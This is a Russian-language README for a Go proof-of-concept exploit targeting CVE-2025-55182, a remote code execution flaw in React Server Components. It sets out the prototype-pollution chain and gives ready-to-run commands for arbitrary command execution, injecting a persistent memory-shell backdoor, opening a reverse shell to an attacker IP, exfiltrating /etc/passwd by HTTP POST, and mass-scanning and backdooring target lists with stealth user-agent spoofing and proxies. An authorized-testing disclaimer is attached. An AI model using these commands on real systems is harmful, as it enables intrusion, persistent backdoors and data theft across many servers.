Доказательство концепции на Go для CVE-2025-55182, критической RCE в React Server Components. Включает проверку уязвимости, выполнение команд, инъекцию шелла в память, реверс-шелл, массовое сканирование и поддержку прокси для авторизованного тестирования безопасности.
⚠️ ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ ⚠️
CVE-2025-55182 (также известная как CVE-2025-66478) — это критическая уязвимость удаленного выполнения кода (RCE) в React Server Components (протокол Flight). Данный инструмент представляет собой реализацию PoC на Go для исследований в области безопасности и авторизованного тестирования на проникновение.
Затронутые версии:
Эксплойт использует загрязнение прототипа (prototype pollution) при десериализации протокола Flight:
$@ для получения ссылки на ChunkChunk.prototype.then как свойство then корневого объектаRESOLVED_MODEL, чтобы вызвать с контролируемым поддельным чанкомinitializeModelChunkresponse._formData.get с полезной нагрузкой атакующегоresponse._formData.get на конструктор Function для выполнения произвольного кода/exec?cmd=Скачайте последний релиз для вашей платформы из GitHub Releases.
Доступные бинарники:
# Клонирование репозитория
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Сборка для текущей платформы
go build -o cve-2025-55182 .
# Или сборка для всех платформ
chmod +x build.sh
./build.sh
После запуска ./build.sh бинарные файлы будут находиться в каталоге build/ для всех поддерживаемых платформ.
# Проверка одной цели на уязвимость
./cve-2025-55182 -u http://target:3000 --check
# Определение версии Next.js
./cve-2025-55182 -u http://target:3000 --version-check
# Выполнение команды с выводом
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Внедрение memory shell (сначала проверяет, не установлен ли уже)
./cve-2025-55182 -u http://target:3000 --memshell
# Проверка активности memory shell
./cve-2025-55182 -u http://target:3000 --test-shell
# Выполнение команды через memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# После внедрения можно также использовать curl напрямую:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Добавление пользовательских заголовков (можно использовать несколько раз)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Пропуск проверки SSL-сертификата (для самоподписанных сертификатов)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Комбинирование с другими опциями
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 с аутентификацией
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 без аутентификации
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# SOCKS4 прокси
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# HTTP прокси
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Пакетная проверка из файла
./cve-2025-55182 --urls targets.txt --check
# Пакетное сканирование с выводом в JSON
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Пакетное сканирование с несколькими потоками и стелс-режимом
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Сохранение уязвимых целей в файл
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Пакетное внедрение memory shell
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Пакетное выполнение команд
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Обратный шелл (mkfifo + nc, работает на Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Сначала запустите слушатель на машине атакующего:
nc -lvnp 4444
# Эксфильтрация вывода команды через HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Запустите слушатель: nc -lvnp 4444
| Параметр | Описание |
|---|---|
-u, --url | Целевой URL (например, http://localhost:3000) |
-f, --file | Файл с целевыми URL (по одному на строку) |
--urls | Псевдоним для -f/--file |
-o, --output | Выходной файл для уязвимых целей |
--json | Вывод результатов в формате JSON |
-c, --command | Команда для выполнения (с выводом) |
--check | Проверка на уязвимость |
--version-check | Определение версии Next.js |
--proxy | URL прокси (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | Пользовательский заголовок (можно использовать несколько раз) |
-k, --insecure | Пропустить проверку SSL/TLS сертификата |
--stealth | Стелс-режим: browser, crawler, security (по умолчанию: browser) |
--delay | Задержка между запросами (например, 2s, 500ms) |
--variants | Использовать несколько вариантов полезной нагрузки для тщательной проверки |
--memshell | Внедрить memory shell (постоянный бэкдор) |
--test-shell | Проверить, активен ли memory shell |
--shell-exec | Выполнить команду через memory shell |
--revshell IP PORT | Установить обратный шелл |
--exfil CMD IP PORT | Выполнить команду и отправить вывод POST-запросом |
-t, --timeout | Тайм-аут запроса в секундах (по умолчанию: 15) |
--threads | Количество параллельных потоков (по умолчанию: 10) |
socks5://user:pass@ip:port — SOCKS5 с аутентификацией
socks5://ip:port — SOCKS5 без аутентификации
socks5h://ip:port — SOCKS5 с удаленным разрешением DNS
socks4://ip:port — SOCKS4 прокси
socks4a://ip:port — SOCKS4a прокси
http://user:pass@ip:port — HTTP прокси с аутентификацией
http://ip:port — HTTP прокси без аутентификации
https://ip:port — HTTPS прокси
| Режим | Описание |
|---|---|
browser | Имитирует запросы реального браузера (Chrome, Firefox, Safari, Edge) — по умолчанию |
crawler | Имитирует краулеры поисковых систем (Googlebot, Bingbot, Baiduspider и др.) |
security | Использует User-Agent'ы сканеров безопасности (Nessus, Nuclei) |
Функция memory shell внедряет постоянный бэкдор, который:
cmd# После внедрения:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
.
├── main.go # Точка входа CLI
├── pkg/
│ ├── colors/
│ │ └── colors.go # Цвета терминала с поддержкой --nocolor
│ ├── exploit/
│ │ └── exploit.go # Основная логика эксплойта, memory shell, определение версии
│ ├── proxy/
│ │ └── proxy.go # Поддержка SOCKS4/5, HTTP прокси
│ ├── scanner/
│ │ └── scanner.go # Пакетное сканирование с выводом в JSON
│ └── stealth/
│ └── stealth.go # Рандомизация User-Agent
├── build.sh # Скрипт кроссплатформенной сборки
├── go.mod # Файл модуля Go
├── go.sum # Зависимости Go
└── README.md # Этот файл
Скрипт build.sh собирает для более чем 30 платформ:
chmod +x build.sh
./build.sh
При использовании флага --json результаты сохраняются в формате JSONL (один JSON на строку):
{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
Полный отчет (_report.json) включает:
{
"scan_time": "2025-12-06T12:00:00Z",
"total_urls": 100,
"vulnerable_count": 5,
"safe_count": 90,
"timeout_count": 5,
"results": [...]
}
Инструмент может определять версию Next.js по:
X-Powered-By__NEXT_DATA__, пути /_next/)Уязвимые версии выделяются красным цветом.
⚠️ ВАЖНОЕ ЮРИДИЧЕСКОЕ УВЕДОМЛЕНИЕ ⚠️
Данный инструмент предоставляется строго для образовательных целей и только для авторизованного тестирования безопасности.
Категорически запрещается использовать данный инструмент:
Несанкционированный доступ к компьютерным системам является уголовным преступлением в большинстве юрисдикций по всему миру, включая, но не ограничиваясь:
ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ. АВТОРЫ И ПРАВООБЛАДАТЕЛИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ЗА КАКИЕ-ЛИБО ПРЕТЕНЗИИ, УБЫТКИ ИЛИ ИНУЮ ОТВЕТСТВЕННОСТЬ, ВОЗНИКАЮЩИЕ В РЕЗУЛЬТАТЕ ИСПОЛЬЗОВАНИЯ ДАННОГО ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ.
Загружая, устанавливая или используя этот инструмент, вы подтверждаете, что:
Если вы не согласны с этими условиями, не используйте данный инструмент.
Владислав Тисленко, также известный как keklick1337
Дата: 2025-12-05
Этот проект лицензирован на условиях лицензии MIT — подробности см. в файле LICENSE.
Используйте ответственно. Оставайтесь в рамках закона. 🔐
--workers | Псевдоним для --threads |
--nocolor | Отключить цветной вывод (для Windows/pipes) |
-h, --help | Показать справку |
-v, --version | Показать версию |